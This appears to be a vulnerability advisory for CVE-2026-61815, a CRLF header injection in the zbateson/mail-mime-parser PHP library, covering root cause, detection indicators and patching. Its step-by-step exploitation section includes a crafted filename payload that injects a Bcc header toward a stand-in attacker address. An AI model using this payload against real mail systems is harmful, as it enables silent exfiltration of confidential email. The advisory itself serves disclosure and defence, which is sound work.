CVE-2026-61815: 
PHP 취약성 분석 및 완화

CVE-2026-61815 is a CRLF header injection vulnerability (CWE-93) in the zbateson/mail-mime-parser PHP library, which is used as an alternative to PHP's imap* functions and Pear libraries for parsing Internet Message Format (RFC 822) messages. The vulnerability affects all versions prior to 3.0.6 and versions 4.0.0 through 4.0.1 (prior to 4.0.2); versions 1.x and 2.x are also affected but are end-of-life. It was reported privately by Ilia Alshanetsky and disclosed on June 24, 2026, with patches released the same day. The CVSS v3.1 base score is 7.2 (High) (GitHub Advisory).

The root cause (CWE-93) exists in two distinct code paths. On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitized filenames only via iconv('UTF-8', 'US-ASCII//translit//ignore', $filename), which preserves CR (\r) and LF (\n) characters since they are valid US-ASCII; the unsanitized value was then written verbatim into Content-Type and Content-Disposition headers via MimePart::setRawHeader(). On the inbound/decode side, ParameterPart::decodePartValue() applied rawurldecode() to RFC 2231 filename*= parameters without stripping control characters, allowing a crafted value like filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test to cause getFilename() to return a string containing embedded \r\n; additionally, the RFC 2047 path in MimeToken stripped newlines before base64/QP decoding but not after, allowing CR/LF to be reintroduced post-decode. A filename of doc\r\nBcc: attacker@evil.test would serialize as a legitimate Content-Disposition header followed by a forged Bcc: header line. No authentication or local construction is required — an application that parses inbound mail and re-attaches or re-sends a parsed filename is directly exposed (GitHub Advisory, Patch Commit).

Successful exploitation allows an unauthenticated remote attacker to inject arbitrary email headers into outbound MIME messages constructed or forwarded by the vulnerable application. The most impactful scenario is forging a Bcc: header to silently redirect copies of outgoing messages to an attacker-controlled address, enabling confidential data exfiltration without the sender's knowledge. Additional header-level manipulations (e.g., injecting Reply-To, CC, or other headers) are also possible, affecting both message confidentiality and integrity. Availability is not impacted (GitHub Advisory).

No public proof-of-concept exploit code has been published, and there is no evidence of in-the-wild exploitation at this time. The vulnerability requires no authentication, no user interaction, and has low attack complexity, making it straightforward to exploit in any application that processes inbound mail and re-uses parsed attachment filenames. The EPSS score is approximately 0.178%, reflecting low but non-negligible exploitation probability. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been reported (GitHub Advisory, Feedly).

1. Identify a target application: Find a PHP application that uses zbateson/mail-mime-parser (versions < 3.0.6 or 4.0.0–4.0.1) to parse inbound email and re-attach or forward parsed attachment filenames in outbound messages.
2. Craft a malicious inbound email: Construct a MIME message with an attachment whose Content-Disposition header uses an RFC 2231 filename*= parameter containing percent-encoded CRLF sequences, e.g.:

   Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test

3. Deliver the crafted email: Send the malicious email to the target application's inbound mail processing endpoint (e.g., a contact form, support ticket system, or mail relay).
4. Trigger re-attachment or forwarding: The application parses the inbound message, calls getFilename() on the attachment part (which returns a string containing embedded \r\n), and passes this value to createAndAddPartForAttachment() or a similar API when constructing an outbound message.
5. Header injection occurs: The library writes the unsanitized filename into Content-Type and Content-Disposition headers verbatim, causing the injected \r\nBcc: attacker@evil.test to be serialized as a standalone header line in the outbound message.
6. Exfiltrate message content: The mail server processes the forged Bcc: header and delivers a silent copy of the outbound message to the attacker's address, exposing its contents (GitHub Advisory, Patch Commit).

• Network: Unexpected outbound email copies delivered to external addresses not present in the original To/CC fields; SMTP traffic showing Bcc: headers with unknown recipient addresses in forwarded or re-sent messages.
• Logs: Mail server logs showing message delivery to recipients not specified by the application logic; application logs showing attachment filenames containing %0D, %0A, \r, or \n characters in parsed inbound messages.
• File System / Application: Inbound MIME messages stored on disk with Content-Disposition headers containing filename*= parameters with percent-encoded control characters (e.g., %0D%0A).
• Application Behavior: getFilename() return values containing embedded newline characters when processing inbound attachments; outbound message headers containing unexpected lines (e.g., Bcc:, Reply-To:) not set by application code (GitHub Advisory).

Upgrade to zbateson/mail-mime-parser version 3.0.6 (or later, e.g., 3.0.7) for the 3.x branch, or version 4.0.2 (or later) for the 4.x branch. Versions 1.x and 2.x are end-of-life and will not receive patches; users on those branches must upgrade to a supported fixed release. If an immediate upgrade is not possible, apply the following workaround: strip CR and LF characters from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g., preg_replace('/[\r\n]+/', ' ', $filename) (GitHub Advisory, Patch Commit).

The vulnerability was found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches applied by the maintainer. The advisory was published through GitHub's security advisory system and picked up by standard vulnerability aggregators (VulnDB, CVEFeed, Vulners, CIRCL). No significant broader media coverage or notable community debate has been observed beyond routine vulnerability tracking (GitHub Advisory).